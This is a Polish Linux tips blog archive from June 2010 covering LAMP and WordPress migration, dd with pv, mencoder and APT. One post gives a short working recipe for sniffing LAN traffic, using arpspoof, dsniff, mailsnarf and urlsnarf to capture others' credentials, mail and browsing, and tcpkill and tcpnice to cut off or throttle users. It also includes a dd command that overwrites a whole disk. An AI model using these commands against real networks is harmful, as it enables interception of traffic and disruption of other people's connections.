Archiwum dla Czerwiec, 2010

LAMP na szybko

Posted: 28 czerwca 2010 in Uncategorized

LAMP (Linux Apache MySql PHP) na szybko w Ubuntu/Debian :

$sudo apt-get install apache2 php5 libapache2-mod-php5

$sudo apt-get install mysql-server mysql-client php5-mysql

$sudo apt-get install phpmyadmin

Włączamy moduł  userdir:

$sudo a2enmod

userdir

$mkdir public_html

Restartujemy Apache:

$sudo /etc/init.d/apache2 restart

Reklamy

Jeżeli będziemy mieć załączniki na blogu (Media -> Obrazy, dokumenty), a zakładam, że tak to potrzebujesz:

– na blogu w Narzędzia->Eksport pobieramy plik z rozszerzeniem XML
– jak chcemy importować to Narzędzia->Import i wybieramy plik który pobraliśmy
– pobieramy WordPress na dysk http://wordpress.org/download/
– mamy w kompie LAMP (Linux Apache MySql PHP); na Windows: program WAMP lub XAMPP
– dokładnie nie pamiętam jak to jest na Windows, ale rozpakowane pliki instalacyjne WordPress rozpakowujemy do C:wampwwwhtdocs (jest w nim index.php) tam wgrywamy pliki
– domyślnie WordPress przy imporcie ma ustawiony limit pliku do uploadu (ile dokładnie to nie pamiętam, ale kilka MB, na początek jest ok, ale potem jest mało)
– przed uruchomieniem instalacji musisz utworzyć bazę danych. Czyli w tle (obok ikony zagarka) klikamy i z menu wybieramy phpmyadmin albo localhost i w przeglądarce dopisujemy /phpmyadmin

Tworzymy tam bazę danych najlepiej o nazwie wordpress, bądź w zakładce SQL wpisujemy:

CREATE DATABASE wordpress;

i klikamy wykonaj kod sql

– Wszystko co musimy zrobić to ustawić plik php.ini i w katalogu w wordpressem w plikach :
wp-config.php dodać to:

define(‚AUTH_KEY’, ‚;=k6[66idO^+x?3hFq=&VM;M)6/.Zxij5m,cAi.{r^ ib-L6/9uUZaU1Nm2tms} ‚);
define(‚SECURE_AUTH_KEY’, ‚M{wRc;#,?gU.X|4LUgCg1-LpJHU t<6o;8rlg|4@5FjD#!IA]<Q,cut3-N*rnC?n’);
define(‚LOGGED_IN_KEY’, ‚mBjTD,J9Cq=G>3Szq};9Q(w(,g%+>4FvFGA^F7muAy75V@6?<jUW-Duc|w=86+|’);
define(‚NONCE_KEY’, ‚}oydX|{,+S:SeTIe%$tcHNMJ{bB%zWSm54:S.W_.7ZK2u;LX+<*l{atk+eelHrIx’);

Bez tego będzie masa błędów. W pliku wp-settings.php z domyślnego limitu (chyba 8 MB) możemy wpisać większy. Ja wpisalem 1024 MB

if ( !defined(‚WP_MEMORY_LIMIT’) )
define(‚WP_MEMORY_LIMIT’, ‚1024M’);

Zapisujemy i zamykamy.

Restart serwera w Windows:
– prawym myszki na ikonę WAMP i „Restart all services”
W Linux:
– sudo /etc/init.d/apache2 restart
lub zamiast restart stop i potem start
Jeśli chodzi o pliki wordpressa to tyle. Natomiast z php.ini najważniejsze są linijki (wkleiłem swoje) :

max_execution_time = 3000 ; Maximum execution time of each script, in seconds
max_input_time = 60 ; Maximum amount of time each script may spend parsing request data
;max_input_nesting_level = 64 ; Maximum input variable nesting level
memory_limit = 1400M ; Maximum amount of memory a script may consume (16MB)
; Maximum size of POST data that PHP will accept.
post_max_size = 1300M
; Whether to allow HTTP file uploads.
file_uploads = On
; Maximum allowed size for uploaded files.
upload_max_filesize = 1400M

I to tyle. Wystarczy ustawić te parametry tak jak powyżej, oczywiście zamiast 1400 MB można dać mniej. Dzięki temu w Narzędzia->Import zmieni się domyślna wartość max. pliku do wgrania. Można przeglądać dzięki temu WordPressa na localhost Zawsze przy włączonym serwerze WAMP. Jak mamy już pobrany plik XML to zanim uruchomimy Narzędzia->Import Musimy w notatniku (bądź innym edytorze tekstowym) otworzyć ten plik i zamienić wszystkie wpisy z „http://nazwanaszegobloga.wordpress.com” na
„http://localhost” i po zakończeniu zapisać. Teraz możemy śmiało importować plik.  Przed importem możemy zaznaczyć „Importuj załączniki„. Wszystkie załączniki będą w /var/www/wpcontent/uploads/2010/06 w lipcu/2010/07 itd. Po zakończonym poprawnie imporcie możliwe, że nie będą się wyświetlać obrazki, ale będą one fizycznie istnieć na dysku. Jest to związane z tym, że w bazie danych ich adres będzie „http://nazwanaszegobloga.files.wordpress.com”. Aby to zmienić wystarczy 1 zapytanie w SQL, które zamieni wszystkie wpisy w bazie danych z „http://nazwanaszegobloga.files.wordpress.com/ścieżki_do_plików” na „http://localhost/wpcontent/uploads/2009/06„.

Taki kod SQL to:

update wp_posts
set post_content = replace(post_content,  ‚http://localhost/2010/06/’,  ‚http://localhost/wpcontent/uploads/2010/05/’);

czyli:

Zamień wszystkie wystąpienia „http://localhost/2010/06/” na „http://localhost/wpcontent/uploads/2010/06/

Jak tego nie wykonamy to obrazki będą pobierać się z internetu albo nie. Różnie z tym bywa.
Dobrym poradnikiem jest też to http://www.tipspot.pl/wordpress/jak-przeniesc-wordpress-na-innyserwer/ ale w przypadku wordpress.com nie na własnym hostingu się to nie sprawdzi. Na serwer w środowisku Windows polecam program WAMP http://download.chip.eu/pl/Wamp-Server_699251.html

Linuxowe dd i pv

Posted: 25 czerwca 2010 in Uncategorized

Polecenie dd w unix/linux pozwala na wymazywanie danych, kopiowanie, tworzenie obrazów iso, klonowanie dysków jak i wiele innych. Jeżeli musimy wymazać dane z dysku można posłużyć się programem dd :

dd if=/dev/urandom of=/dev/sda

Powyższe polecenie wymaże dane z dysku sda. Proces ten jest bardzo powolny i żmudny. Podczas jego działania nie widzimy tzw. Progess Bar. Ciężko jest nam stwierdzić ile już zostało zrobione. Z pomocą przychodzi polecenie pv umożliwia asynchroniczny monitoring danych w potokach. Dobrym przykładem pokazującym pasek postępu dla polecenia dd jest:

dd if=/dev/urandom | pv | dd of=/dev/sda

Ujrzymy na ekranie :

224MB 0:00:08 [4 MB/s] [ <=> ] 3% ETA 0:00:10

Jest to o wiele bardziej przejrzyste niż migający znak zachęty.

Więcej szczegółów: man dd; man pv

Sniffing w sieciach LAN/WAN

Posted: 23 czerwca 2010 in Uncategorized

Włączamy forwardowanie pakietow:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Wprowadzamy kartę sieciową w tryb nasłuchu pakietow przychodzacych jak i wychodzacych:
ifconfig eth0 promisc
Jeżeli posiadamy „radiówkę” warto ustawić:
arpspoof -i eth0 IP_SERWERA >&/dev/null&
Spowoduje to przechodzenie całego ruchu w sieci przez nasz komputer.

 

Sniffinig:
dsniff -i eth0 -c
Przechwytywanie wiadomości e-mail:
mailsnarf
Przeglądane strony przez użytkowników:
urlsnarf
oraz
tail -f urlsnarf
Zamknięcie połączenia TCP/IP (użytkownik zostanie odłączony od sieci):
tcpkill -i eth0 -5 (NAZWA_HOSTA_KTORY_CHCEMY_ROZLACZYC)
Liczba 5 jest to skala brutalnosci ataku. Jej zakres to <1; 9> Rozsądna wartość to 7 lub 8. Ustawienie wartości 9 może nas odłączyć od sieci.

 

Blokowanie przeglądania stron:
tcpnice -i eth0 -I -n 20 host (IP) i port 80

Wpis jest celowo mocno skrócony. Nie odpowiadam za jakiekolwiek konsekwencje takiego działania. Materiał jest jedynie dla celów edukacyjnych.


Skrypt w Bashu do tworzenia zrzutów ekranu do wybranego folderu co x sekund.

Btw.

Warto dodać opcję uruchamiania w tle, kompresji, wysyłania na serwer, etc.

#!/bin/bash
# Wymagania: sudo apt-get scrot
# Zrzut ekranu do folderu co x sekund
# Użycie: ./screen 2 #zrzut co 2 sekundy

DIR=/home/user/Pulpit/screen # folder z zrzutami ekranu
I=0 # Numer obrazka
mkdir -p ${DIR}
while sleep "$1"
do
scrot -q 75 ${DIR}/screendump.${I}.jpg
I=$((I+1))
done

ogv to avi

Posted: 20 czerwca 2010 in Uncategorized

MEncoder to darmowe narzędzie do dekodowania, kodowania i filtrowania strumieni wideo. Narzędzie to umożliwia konwerjsę pomiędzy różnymi formatami. Poniżej przykład konwersji pliku ogv do pliku avi. Plik ogv to nagrany pulpit programem gtk-recordMyDesktop

mencoder plik.ogv -ovc xvid mp3lame -xvidencopts pass=1 -o plik_wynikowy.avi

Jak widzimy w powyższym przykładzie konwertujemy plik.ogv używając kodeka wideo xvid oraz kodeka audio mp3lame. Ilość przebiegów kodowania wynosi 1. Plikiem końcowym jest plik w formacie avi.


Podstawy APT ( Advanced Package Tool – zaawansowane narzędzie obsługi pakietów)

Przejście na roota w Debianie su W Ubuntu sudo <komenda>

apt

Instalacja oprogramowania przy użyciu apt

apt-get install software

Odświeżenie listy pakietów (/etc/apt/sources.list)

apt-get update

Aktualizacja oprogramowania, przy użyciu apt

apt-get upgrade

Zmiana listy `mirrorów`

apt-setup

Wyszukiwanie pakietów (na dole strony więcej opisu)

apt-cache search package

Odinstalowanie pakietu, przy użyciu apt

apt-get remove software

Instalacja pakietu

apt-get install pkg

Deinstalacja/Usuwanie pakietu

apt-get remove pkg

dpkg

Wyświetla wszystkie zainstalowane i usunięte pakiety

dpkg -l

Pokazuje status zainstalowanych pakietów

dpkg -l pkg

Pokazuje wszystkie pakiety pasujące do wzorca

dpkg -S pattern

Lista plików w pakiecie

dpkg -L pkg

Pokazuje status pakietów

dpkg -s pkg

Pokazuje szczegóły pakietów

dpkg -p pkg

Wyświetla pakiety powiązane z opisem

apt-cache search string

Instaluje pakiet z paczki deb

# dpkg -i file.deb

Ponowna konfiguracja pakietu

# dpkg-reconfigure pkg

Pobranie pakietu wraz ze źródłem

# apt-get source pkg

Aktualizacja całej dystrybucji

# apt-get dist-upgrade

Wyszukiwanie pakietów w Terminalu (funkcja search) :

search() {
if [ „$1” = „” ];then
echo „Podaj jakąś nazwę pakietu dla search”
else
apt-cache search $1 |grep ^$1
fi
}

W Terminalu piszemy np: search dd

i otrzymujemy listę pakietów z dd w nazwie. Poniżej przykład :

$ search dd
ddccontrol – a program to control monitor parameters
ddccontrol-db – monitor database for ddccontrol
ddclient – address updating utility for dynamic DNS services
ddd – The Data Display Debugger, a graphical debugger frontend
ddd-doc – Additional documentation for the Data Display Debugger
ddns3-client – Issues dynamic DNS v3 requests
ddrescue – copies data from one file or block device to another
dds – bridge double dummy solver – frontend
dds2tar – Tools for using DDS features of DAT drives with GNU tar
ddskk – efficient Japanese input system for emacsen
ddtc – Deal with ddts mails